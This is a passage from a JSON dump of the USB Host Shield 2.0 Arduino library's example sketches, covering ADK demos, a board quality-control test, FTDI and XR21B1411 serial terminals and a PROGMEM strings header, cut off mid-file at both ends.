1, &keylcl );\n    if (rcode && rcode != hrNAK) {\n      Serial.print(F(\"\\r\\nData send: \"));\n      Serial.print(rcode, HEX);\n    }\n  }\n\n  Serial.print((char) keylcl );\n  Serial.print(\" : \");\n  Serial.println( keylcl, HEX );\n};\n\nKbdRptParser Prs;\n\nvoid setup()\n{\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"\\r\\nADK demo start\");\n\n  if (Usb.Init() == -1) {\n    Serial.println(\"OSCOKIRQ failed to assert\");\n    while(1); //halt\n  }//if (Usb.Init() == -1...\n\n  HidKeyboard.SetReportParser(0, &Prs);\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/demokit_20/demokit_20.ino",
    "content": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nUSBHub hub0(&Usb);\nUSBHub hub1(&Usb);\nADK adk(&Usb, \"Google, Inc.\",\n              \"DemoKit\",\n              \"DemoKit Arduino Board\",\n              \"1.0\",\n              \"http://www.android.com\",\n              \"0000000012345678\");\nuint8_t  b, b1;\n\n\n#define LED1_RED          3\n#define BUTTON1           2\n\n#ifdef ESP32\n#define LED1_RED_CHANNEL  0\n#endif\n\nvoid init_buttons()\n{\n  pinMode(BUTTON1, INPUT);\n\n  // enable the internal pullups\n  digitalWrite(BUTTON1, HIGH);\n}\n\nvoid init_leds()\n{\n  digitalWrite(LED1_RED, 0);\n\n#ifdef ESP32\n  ledcAttachPin(LED1_RED, LED1_RED_CHANNEL); // Assign LED pin to channel 0\n  ledcSetup(LED1_RED_CHANNEL, 12000, 8); // 12 kHz PWM, 8-bit resolution\n#else\n  pinMode(LED1_RED, OUTPUT);\n#endif\n}\n\nvoid setup()\n{\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"\\r\\nADK demo start\");\n\n  if (Usb.Init() == -1) {\n    Serial.println(\"OSCOKIRQ failed to assert\");\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n\n  init_leds();\n  init_buttons();\n  b1 = digitalRead(BUTTON1);\n}\n\nvoid loop()\n{\n  uint8_t rcode;\n  uint8_t msg[3] = { 0x00 };\n  Usb.Task();\n\n  if ( adk.isReady() == false ) {\n#ifdef ESP32\n    ledcWrite(LED1_RED_CHANNEL, 255);\n#else\n    analogWrite(LED1_RED, 255);\n#endif\n    return;\n  }\n  uint16_t len = sizeof(msg);\n\n  rcode = adk.RcvData(&len, msg);\n  if ( rcode ) {\n    USBTRACE2(\"Data rcv. :\", rcode );\n  }\n  if (len > 0) {\n    USBTRACE(\"\\r\\nData Packet.\");\n    // assumes only one command per packet\n    if (msg[0] == 0x2) {\n      switch ( msg[1] ) {\n        case 0:\n#ifdef ESP32\n          ledcWrite(LED1_RED_CHANNEL, 255 - msg[2]);\n#else\n          analogWrite(LED1_RED, 255 - msg[2]);\n#endif\n          break;\n      }//switch( msg[1]...\n    }//if (msg[0] == 0x2...\n  }//if( len > 0...\n\n  msg[0] = 0x1;\n\n  b = digitalRead(BUTTON1);\n  if (b != b1) {\n    USBTRACE(\"\\r\\nButton state changed\");\n    msg[1] = 0;\n    msg[2] = b ? 0 : 1;\n    rcode = adk.SndData( 3, msg );\n    if ( rcode ) {\n      USBTRACE2(\"Button send: \", rcode );\n    }\n    b1 = b;\n  }//if (b != b1...\n\n\n  delay( 10 );\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/term_test/term_test.ino",
    "content": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub     Hub(&Usb);\n\nADK adk(&Usb, \"Circuits@Home, ltd.\",\n              \"USB Host Shield\",\n              \"Arduino Terminal for Android\",\n              \"1.0\",\n              \"http://www.circuitsathome.com\",\n              \"0000000000000001\");\n\nvoid setup()\n{\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"\\r\\nADK demo start\");\n\n  if (Usb.Init() == -1) {\n    Serial.println(\"OSCOKIRQ failed to assert\");\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n}\n\nvoid loop()\n{\n  uint8_t rcode;\n  uint8_t msg[64] = { 0x00 };\n  const char* recv = \"Received: \";\n\n  Usb.Task();\n\n  if ( adk.isReady() == false ) {\n    return;\n  }\n  uint16_t len = 64;\n\n  rcode = adk.RcvData(&len, msg);\n  if ( rcode & ( rcode != hrNAK )) {\n    USBTRACE2(\"Data rcv. :\", rcode );\n  }\n  if (len > 0) {\n    USBTRACE(\"\\r\\nData Packet.\");\n\n    for ( uint8_t i = 0; i < len; i++ ) {\n      Serial.print((char)msg[i]);\n    }\n    /* sending back what was received */\n    rcode = adk.SndData( strlen( recv ), (uint8_t *)recv );\n    if (rcode && rcode != hrNAK) {\n      Serial.print(F(\"\\r\\nData send: \"));\n      Serial.print(rcode, HEX);\n    }\n    rcode = adk.SndData( strlen(( char * )msg ), msg );\n    if (rcode && rcode != hrNAK) {\n      Serial.print(F(\"\\r\\nData send: \"));\n      Serial.print(rcode, HEX);\n    }\n\n  }//if( len > 0 )...\n\n  delay( 1000 );\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/term_time/term_time.ino",
    "content": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n\nADK adk(&Usb, \"Circuits@Home, ltd.\",\n              \"USB Host Shield\",\n              \"Arduino Terminal for Android\",\n              \"1.0\",\n              \"http://www.circuitsathome.com\",\n              \"0000000000000001\");\n\nvoid setup()\n{\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"\\r\\nADK demo start\");\n\n  if (Usb.Init() == -1) {\n    Serial.println(\"OSCOKIRQ failed to assert\");\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n}\n\nvoid loop()\n{\n  uint8_t buf[ 12 ] = { 0 }; //buffer to convert unsigned long to ASCII\n  const char* sec_ela = \" seconds elapsed\\r\";\n  uint8_t rcode;\n\n  Usb.Task();\n  if ( adk.isReady() == false ) {\n    return;\n  }\n\n  ultoa((uint32_t)millis() / 1000, (char *)buf, 10 );\n\n  rcode = adk.SndData( strlen((char *)buf), buf );\n  if (rcode && rcode != hrNAK) {\n    Serial.print(F(\"\\r\\nData send: \"));\n    Serial.print(rcode, HEX);\n  }\n  rcode = adk.SndData( strlen( sec_ela), (uint8_t *)sec_ela );\n  if (rcode && rcode != hrNAK) {\n    Serial.print(F(\"\\r\\nData send: \"));\n    Serial.print(rcode, HEX);\n  }\n\n  delay( 1000 );\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/board_qc/board_qc.ino",
    "content": "/* USB Host Shield 2.0 board quality control routine */\n/* To see the output set your terminal speed to 115200 */\n/* for GPIO test to pass you need to connect GPIN0 to GPOUT7, GPIN1 to GPOUT6, etc. */\n/* otherwise press any key after getting GPIO error to complete the test */\n/**/\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#include <../../../../hardware/pic32/libraries/SPI/SPI.h> // Hack to use the SPI library\n#endif\n#include <SPI.h> // Hack to use the SPI library\n\n/* variables */\nuint8_t rcode;\nuint8_t usbstate;\nuint8_t laststate;\n//uint8_t buf[sizeof(USB_DEVICE_DESCRIPTOR)];\nUSB_DEVICE_DESCRIPTOR buf;\n\n/* objects */\nUSB Usb;\n//USBHub hub(&Usb);\n\nvoid setup() {\n        laststate = 0;\n        Serial.begin(115200);\n#if !defined(__MIPSEL__)\n        while(!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n        E_Notify(PSTR(\"\\r\\nCircuits At Home 2011\"), 0x80);\n        E_Notify(PSTR(\"\\r\\nUSB Host Shield Quality Control Routine\"), 0x80);\n        /* SPI quick test - check revision register */\n        E_Notify(PSTR(\"\\r\\nReading REVISION register... Die revision \"), 0x80);\n        Usb.Init(); // Initializes SPI, we don't care about the return value here\n        {\n                uint8_t tmpbyte = Usb.regRd(rREVISION);\n                switch(tmpbyte) {\n                        case( 0x01): //rev.01\n                                E_Notify(PSTR(\"01\"), 0x80);\n                                break;\n                        case( 0x12): //rev.02\n                                E_Notify(PSTR(\"02\"), 0x80);\n                                break;\n                        case( 0x13): //rev.03\n                                E_Notify(PSTR(\"03\"), 0x80);\n                                break;\n                        default:\n                                E_Notify(PSTR(\"invalid. Value returned: \"), 0x80);\n                                print_hex(tmpbyte, 8);\n                                halt55();\n                                break;\n                }//switch( tmpbyte...\n        }//check revision register\n        /* SPI long test */\n        {\n                E_Notify(PSTR(\"\\r\\nSPI long test. Transfers 1MB of data. Each dot is 64K\"), 0x80);\n                uint8_t sample_wr = 0;\n                uint8_t sample_rd = 0;\n                uint8_t gpinpol_copy = Usb.regRd(rGPINPOL);\n                for(uint8_t i = 0; i < 16; i++) {\n#ifdef ESP8266\n                        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                        for(uint16_t j = 0; j < 65535; j++) {\n                                Usb.regWr(rGPINPOL, sample_wr);\n                                sample_rd = Usb.regRd(rGPINPOL);\n                                if(sample_rd != sample_wr) {\n                                        E_Notify(PSTR(\"\\r\\nTest failed.  \"), 0x80);\n                                        E_Notify(PSTR(\"Value written: \"), 0x80);\n                                        print_hex(sample_wr, 8);\n                                        E_Notify(PSTR(\" read: \"), 0x80);\n                                        print_hex(sample_rd, 8);\n                                        halt55();\n                                }//if( sample_rd != sample_wr..\n                                sample_wr++;\n                        }//for( uint16_t j...\n                        E_Notify(PSTR(\".\"), 0x80);\n                }//for( uint8_t i...\n                Usb.regWr(rGPINPOL, gpinpol_copy);\n                E_Notify(PSTR(\" SPI long test passed\"), 0x80);\n        }//SPI long test\n        /* GPIO test */\n        /* in order to simplify board layout, GPIN pins on text fixture are connected to GPOUT */\n        /* in reverse order, i.e, GPIN0 is connected to GPOUT7, GPIN1 to GPOUT6, etc. */\n        {\n                uint8_t tmpbyte;\n                E_Notify(PSTR(\"\\r\\nGPIO test. Connect GPIN0 to GPOUT7, GPIN1 to GPOUT6, and so on\"), 0x80);\n                for(uint8_t sample_gpio = 0; sample_gpio < 255; sample_gpio++) {\n#ifdef ESP8266\n                        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                        Usb.gpioWr(sample_gpio);\n                        tmpbyte = Usb.gpioRd();\n                        /* bit reversing code copied vetbatim from http://graphics.stanford.edu/~seander/bithacks.html#BitReverseObvious */\n                        tmpbyte = ((tmpbyte * 0x0802LU & 0x22110LU) | (tmpbyte * 0x8020LU & 0x88440LU)) * 0x10101LU >> 16;\n                        if(sample_gpio != tmpbyte) {\n                                E_Notify(PSTR(\"\\r\\nTest failed. Value written: \"), 0x80);\n                                print_hex(sample_gpio, 8);\n                                E_Notify(PSTR(\" Value read: \"), 0x80);\n                                print_hex(tmpbyte, 8);\n                                E_Notify(PSTR(\" \"), 0x80);\n                                press_any_key();\n                                break;\n                        }//if( sample_gpio != tmpbyte...\n                }//for( uint8_t sample_gpio...\n                E_Notify(PSTR(\"\\r\\nGPIO test passed.\"), 0x80);\n        }//GPIO test\n        /* PLL test. Stops/starts MAX3421E oscillator several times */\n        {\n                E_Notify(PSTR(\"\\r\\nPLL test. 100 chip resets will be performed\"), 0x80);\n                /* check current state of the oscillator */\n                if(!(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ)) { //wrong state - should be on\n                        E_Notify(PSTR(\"\\r\\nCurrent oscillator state unexpected.\"), 0x80);\n                        press_any_key();\n                }\n                /* Restart oscillator */\n                E_Notify(PSTR(\"\\r\\nResetting oscillator\\r\\n\"), 0x80);\n                for(uint16_t i = 0; i < 100; i++) {\n#ifdef ESP8266\n                        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                        E_Notify(PSTR(\"\\rReset number \"), 0x80);\n                        Serial.print(i, DEC);\n                        Usb.regWr(rUSBCTL, bmCHIPRES); //reset\n                        if(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ) { //wrong state - should be off\n                                E_Notify(PSTR(\"\\r\\nCurrent oscillator state unexpected.\"), 0x80);\n                                halt55();\n                        }\n                        Usb.regWr(rUSBCTL, 0x00); //release from reset\n                        uint16_t j = 0;\n                        for(j = 1; j < 65535; j++) { //tracking off to on time\n                                if(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ) {\n                                        E_Notify(PSTR(\" Time to stabilize - \"), 0x80);\n                                        Serial.print(j, DEC);\n                                        E_Notify(PSTR(\" cycles\\r\\n\"), 0x80);\n                                        break;\n                                }\n                        }//for( uint16_t j = 0; j < 65535; j++\n                        if(j == 0) {\n                                E_Notify(PSTR(\"PLL failed to stabilize\"), 0x80);\n                                press_any_key();\n                        }\n                }//for( uint8_t i = 0; i < 255; i++\n\n        }//PLL test\n        /* initializing USB stack */\n        if(Usb.Init() == -1) {\n                E_Notify(PSTR(\"\\r\\nOSCOKIRQ failed to assert\"), 0x80);\n                halt55();\n        }\n        E_Notify(PSTR(\"\\r\\nChecking USB device communication.\\r\\n\"), 0x80);\n}\n\nvoid loop() {\n        delay(200);\n        Usb.Task();\n        usbstate = Usb.getUsbTaskState();\n        if(usbstate != laststate) {\n                laststate = usbstate;\n                /**/\n                switch(usbstate) {\n                        case( USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE):\n                                E_Notify(PSTR(\"\\r\\nWaiting for device...\"), 0x80);\n                                break;\n                        case( USB_ATTACHED_SUBSTATE_RESET_DEVICE):\n                                E_Notify(PSTR(\"\\r\\nDevice connected. Resetting...\"), 0x80);\n                                break;\n                        case( USB_ATTACHED_SUBSTATE_WAIT_SOF):\n                                E_Notify(PSTR(\"\\r\\nReset complete. Waiting for the first SOF...\"), 0x80);\n                                break;\n                        case( USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE):\n                                E_Notify(PSTR(\"\\r\\nSOF generation started. Enumerating device...\"), 0x80);\n                                break;\n                        case( USB_STATE_ADDRESSING):\n                                E_Notify(PSTR(\"\\r\\nSetting device address...\"), 0x80);\n                                break;\n                        case( USB_STATE_RUNNING):\n                                E_Notify(PSTR(\"\\r\\nGetting device descriptor\"), 0x80);\n                                rcode = Usb.getDevDescr(1, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*) & buf);\n\n                                if(rcode) {\n                                        E_Notify(PSTR(\"\\r\\nError reading device descriptor. Error code \"), 0x80);\n                                        print_hex(rcode, 8);\n                                } else {\n                                        /**/\n                                        E_Notify(PSTR(\"\\r\\nDescriptor Length:\\t\"), 0x80);\n                                        print_hex(buf.bLength, 8);\n                                        E_Notify(PSTR(\"\\r\\nDescriptor type:\\t\"), 0x80);\n                                        print_hex(buf.bDescriptorType, 8);\n                                        E_Notify(PSTR(\"\\r\\nUSB version:\\t\\t\"), 0x80);\n                                        print_hex(buf.bcdUSB, 16);\n                                        E_Notify(PSTR(\"\\r\\nDevice class:\\t\\t\"), 0x80);\n                                        print_hex(buf.bDeviceClass, 8);\n                                        E_Notify(PSTR(\"\\r\\nDevice Subclass:\\t\"), 0x80);\n                                        print_hex(buf.bDeviceSubClass, 8);\n                                        E_Notify(PSTR(\"\\r\\nDevice Protocol:\\t\"), 0x80);\n                                        print_hex(buf.bDeviceProtocol, 8);\n                                        E_Notify(PSTR(\"\\r\\nMax.packet size:\\t\"), 0x80);\n                                        print_hex(buf.bMaxPacketSize0, 8);\n                                        E_Notify(PSTR(\"\\r\\nVendor  ID:\\t\\t\"), 0x80);\n                                        print_hex(buf.idVendor, 16);\n                                        E_Notify(PSTR(\"\\r\\nProduct ID:\\t\\t\"), 0x80);\n                                        print_hex(buf.idProduct, 16);\n                                        E_Notify(PSTR(\"\\r\\nRevision ID:\\t\\t\"), 0x80);\n                                        print_hex(buf.bcdDevice, 16);\n                                        E_Notify(PSTR(\"\\r\\nMfg.string index:\\t\"), 0x80);\n                                        print_hex(buf.iManufacturer, 8);\n                                        E_Notify(PSTR(\"\\r\\nProd.string index:\\t\"), 0x80);\n                                        print_hex(buf.iProduct, 8);\n                                        E_Notify(PSTR(\"\\r\\nSerial number index:\\t\"), 0x80);\n                                        print_hex(buf.iSerialNumber, 8);\n                                        E_Notify(PSTR(\"\\r\\nNumber of conf.:\\t\"), 0x80);\n                                        print_hex(buf.bNumConfigurations, 8);\n                                        /**/\n                                        E_Notify(PSTR(\"\\r\\n\\nAll tests passed. Press RESET to restart test\"), 0x80);\n                                        while(1) {\n#ifdef ESP8266\n                                                yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                                        }\n                                }\n                                break;\n                        case( USB_STATE_ERROR):\n                                E_Notify(PSTR(\"\\r\\nUSB state machine reached error state\"), 0x80);\n                                break;\n\n                        default:\n                                break;\n                }//switch( usbstate...\n        }\n}//loop()...\n\n/* constantly transmits 0x55 via SPI to aid probing */\nvoid halt55() {\n\n        E_Notify(PSTR(\"\\r\\nUnrecoverable error - test halted!!\"), 0x80);\n        E_Notify(PSTR(\"\\r\\n0x55 pattern is transmitted via SPI\"), 0x80);\n        E_Notify(PSTR(\"\\r\\nPress RESET to restart test\"), 0x80);\n\n        while(1) {\n                Usb.regWr(0x55, 0x55);\n#ifdef ESP8266\n                yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n        }\n}\n\n/* prints hex numbers with leading zeroes */\nvoid print_hex(int v, int num_places) {\n        int mask = 0, n, num_nibbles, digit;\n\n        for(n = 1; n <= num_places; n++) {\n                mask = (mask << 1) | 0x0001;\n        }\n        v = v & mask; // truncate v to specified number of places\n\n        num_nibbles = num_places / 4;\n        if((num_places % 4) != 0) {\n                ++num_nibbles;\n        }\n        do {\n                digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f;\n                Serial.print(digit, HEX);\n        } while(--num_nibbles);\n}\n\n/* prints \"Press any key\" and returns when key is pressed */\nvoid press_any_key() {\n        E_Notify(PSTR(\"\\r\\nPress any key to continue...\"), 0x80);\n        while(Serial.available() <= 0) { // wait for input\n#ifdef ESP8266\n                yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n        }\n        Serial.read(); //empty input buffer\n        return;\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/cdc_XR21B1411/XR_terminal/XR_terminal.ino",
    "content": "#include <cdc_XR21B1411.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass ACMAsyncOper : public CDCAsyncOper\n{\npublic:\n    uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t ACMAsyncOper::OnInit(ACM *pacm)\n{\n    uint8_t rcode;\n    // Set DTR = 1 RTS=1\n    rcode = pacm->SetControlLineState(3);\n\n    if (rcode)\n    {\n        ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n        return rcode;\n    }\n\n    LINE_CODING\tlc;\n    lc.dwDTERate\t= 115200;\n    lc.bCharFormat\t= 0;\n    lc.bParityType\t= 0;\n    lc.bDataBits\t= 8;\n\n    rcode = pacm->SetLineCoding(&lc);\n\n    if (rcode)\n        ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n\n    return rcode;\n}\n\nUSB     Usb;\nACMAsyncOper  AsyncOper;\nXR21B1411     Acm(&Usb, &AsyncOper);\n\nvoid setup() {\n        Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n        while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n        Serial.println(\"\\r\\n\\r\\nStart\");\n\n        if (Usb.Init() == -1) Serial.println(\"OSCOKIRQ failed to assert\");\n}\n\nvoid loop() {\n        Usb.Task();\n        if( Acm.isReady()) {\n                uint8_t rcode;\n                uint8_t  buf[1];\n                uint16_t rcvd = 1;\n\n                /* read keyboard */\n                if(Serial.available()) {\n                         uint8_t data = Serial.read();\n                         /* send */\n                         rcode = Acm.SndData(1, &data);\n                         if (rcode)\n                                 ErrorMessage<uint8_t>(PSTR(\"SndData\"), rcode);\n                 }\n                \n                /* read XR serial */\n                rcode = Acm.RcvData(&rcvd, buf);\n                if (rcode && rcode != hrNAK)\n                        ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n\n                if( rcvd ) { //more than zero bytes received\n                        for(uint16_t i=0; i < rcvd; i++ ) {\n                                Serial.print((char)buf[i]);\n                        }\n                }\n        }\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/USBFTDILoopback.ino",
    "content": "#include <cdcftdi.h>\n#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass FTDIAsync : public FTDIAsyncOper\n{\npublic:\n    uint8_t OnInit(FTDI *pftdi);\n};\n\nuint8_t FTDIAsync::OnInit(FTDI *pftdi)\n{\n    uint8_t rcode = 0;\n\n    rcode = pftdi->SetBaudRate(115200);\n\n    if (rcode)\n    {\n        ErrorMessage<uint8_t>(PSTR(\"SetBaudRate\"), rcode);\n        return rcode;\n    }\n    rcode = pftdi->SetFlowControl(FTDI_SIO_DISABLE_FLOW_CTRL);\n\n    if (rcode)\n        ErrorMessage<uint8_t>(PSTR(\"SetFlowControl\"), rcode);\n\n    return rcode;\n}\n\nUSB              Usb;\n//USBHub         Hub(&Usb);\nFTDIAsync        FtdiAsync;\nFTDI             Ftdi(&Usb, &FtdiAsync);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n    Usb.Task();\n\n    if( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n    {\n        uint8_t  rcode;\n        char strbuf[] = \"DEADBEEF\";\n        //char strbuf[] = \"The quick brown fox jumps over the lazy dog\";\n        //char strbuf[] = \"This string contains 61 character to demonstrate FTDI buffers\"; //add one symbol to it to see some garbage\n        Serial.print(\".\");\n\n        rcode = Ftdi.SndData(strlen(strbuf), (uint8_t*)strbuf);\n\n\tif (rcode)\n            ErrorMessage<uint8_t>(PSTR(\"SndData\"), rcode);\n\n        delay(50);\n\n        uint8_t  buf[64];\n\n        for (uint8_t i=0; i<64; i++)\n            buf[i] = 0;\n\n        uint16_t rcvd = 64;\n        rcode = Ftdi.RcvData(&rcvd, buf);\n\n        if (rcode && rcode != hrNAK)\n            ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n\n        // The device reserves the first two bytes of data\n        //   to contain the current values of the modem and line status registers.\n        if (rcvd > 2)\n            Serial.print((char*)(buf+2));\n\n        delay(10);\n    }\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/pgmstrings.h",
    "content": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)(&(x)))[1]\n#define BUFSIZE 256    //buffer size\n \n\n/* Print strings in Program Memory */\nconst char Gen_Error_str[] PROGMEM = \"\\r\\nRequest error. Error code:\\t\"; \nconst char Dev_Header_str[] PROGMEM =\"\\r\\nDevice descriptor: \";\nconst char Dev_Length_str[] PROGMEM =\"\\r\\nDescriptor Length:\\t\";\nconst char Dev_Type_str[] PROGMEM =\"\\r\\nDescriptor type:\\t\";\nconst char Dev_Version_str[] PROGMEM =\"\\r\\nUSB version:\\t\\t\";\nconst char Dev_Class_str[] PROGMEM =\"\\r\\nDevice class:\\t\\t\";\nconst char Dev_Subclass_str[] PROGMEM =\"\\r\\nDevice Subclass:\\t\";\nconst char Dev_Protocol_str[] PROGMEM =\"\\r\\nDevice Protocol:\\t\";\nconst char Dev_Pktsize_str[] PROGMEM =\"\\r\\nMax.packet size:\\t\";\nconst char Dev_Vendor_str[] PROGMEM =\"\\r\\nVendor  ID:\\t\\t\";\nconst char Dev_Product_str[] PROGMEM =\"\\r\\nProduct ID:\\t\\t\";\nconst char Dev_Revision_str[] PROGMEM =\"\\r\\nRevision ID:\\t\\t\";\nconst char Dev_Mfg_str[] PROGMEM =\"\\r\\nMfg.string index:\\t\";\nconst char Dev_Prod_str[] PROGMEM =\"\\r\\nProd.string index:\\t\";\nconst char Dev_Serial_str[] PROGMEM =\"\\r\\nSerial number index:\\t\";\nconst char Dev_Nconf_str[] PROGMEM =\"\\r\\nNumber of conf.:\\t\";\nconst char Conf_Trunc_str[] PROGMEM =\"Total length truncated to 256 bytes\";\nconst char Conf_Header_str[] PROGMEM =\"\\r\\nConfiguration descriptor:\";\nconst char Conf_Totlen_str[] PROGMEM =\"\\r\\nTotal length:\\t\\t\";\nconst char Conf_Nint_str[] PROGMEM =\"\\r\\nNum.intf:\\t\\t\";\nconst char Conf_Value_str[] PROGMEM =\"\\r\\nConf.value:\\t\\t\";\nconst char Conf_String_str[] PROGMEM =\"\\r\\nConf.string:\\t\\t\";\nconst char Conf_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char Conf_Pwr_str[] PROGMEM =\"\\r\\nMax.pwr:\\t\\t\";\nconst char Int_Header_str[] PROGMEM =\"\\r\\n\\r\\nInterface descriptor:\";\nconst char Int_Number_str[] PROGMEM =\"\\r\\nIntf.number:\\t\\t\";\nconst char Int_Alt_str[] PROGMEM =\"\\r\\nAlt.:\\t\\t\\t\";\nconst char Int_Endpoints_str[] PROGMEM =\"\\r\\nEndpoints:\\t\\t\";\nconst char Int_Class_str[] PROGMEM =\"\\r\\nIntf. Class:\\t\\t\";\nconst char Int_Subclass_str[] PROGMEM =\"\\r\\nIntf. Subclass:\\t\\t\";\nconst char Int_Protocol_str[] PROGMEM =\"\\r\\nIntf. Protocol:\\t\\t\";\nconst char Int_String_str[] PROGMEM =\"\\r\\nIntf.string:\\t\\t\";\nconst char End_Header_str[] PROGMEM =\"\\r\\n\\r\\nEndpoint descriptor:\";\nconst char End_Address_str[] PROGMEM =\"\\r\\nEndpoint address:\\t\";\nconst char End_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char End_Pktsize_str[] PROGMEM =\"\\r\\nMax.pkt size:\\t\\t\";\nconst char End_Interval_str[] PROGMEM =\"\\r\\nPolling interval:\\t\";\nconst char Unk_Header_str[] PROGMEM = \"\\r\\nUnknown descriptor:\";\nconst char Unk_Length_str[] PROGMEM =\"\\r\\nLength:\\t\\t\";\nconst char Unk_Type_str[] PROGMEM =\"\\r\\nType:\\t\\t\";\nconst char Unk_Contents_str[] PROGMEM =\"\\r\\nContents:\\t\";\n \n#endif // __PGMSTRINGS_H__"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/hub_demo/hub_demo.ino",
    "content": "#include <usbhub.h>\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB     Usb;\nUSBHub  Hub1(&Usb);\nUSBHub  Hub2(&Usb);\nUSBHub  Hub3(&Usb);\nUSBHub  Hub4(&Usb);\n\nuint32_t next_time;\n\nvoid PrintAllAddresses(UsbDevice *pdev)\n{\n  UsbDeviceAddress adr;\n  adr.devAddress = pdev->address.devAddress;\n  Serial.print(\"Addr:\");\n  Serial.print(adr.devAddress, HEX);\n  Serial.print(\"(\");\n  Serial.print(adr.bmHub, HEX);\n  Serial.print(\".\");\n  Serial.print(adr.bmParent, HEX);\n  Serial.print(\".\");\n  Serial.print(adr.bmAddress, HEX);\n  Serial.println(\")\");\n}\n\nvoid PrintAddress(uint8_t addr)\n{\n  UsbDeviceAddress adr;\n  adr.devAddress = addr;\n  Serial.print(\"\\r\\nADDR:\\t\");\n  Serial.println(adr.devAddress, HEX);\n  Serial.print(\"DEV:\\t\");\n  Serial.println(adr.bmAddress, HEX);\n  Serial.print(\"PRNT:\\t\");\n  Serial.println(adr.bmParent, HEX);\n  Serial.print(\"HUB:\\t\");\n  Serial.println(adr.bmHub, HEX);\n}\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n    Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n\n  next_time = (uint32_t)millis() + 10000;\n}\n\nvoid PrintDescriptors(uint8_t addr)\n{\n  uint8_t 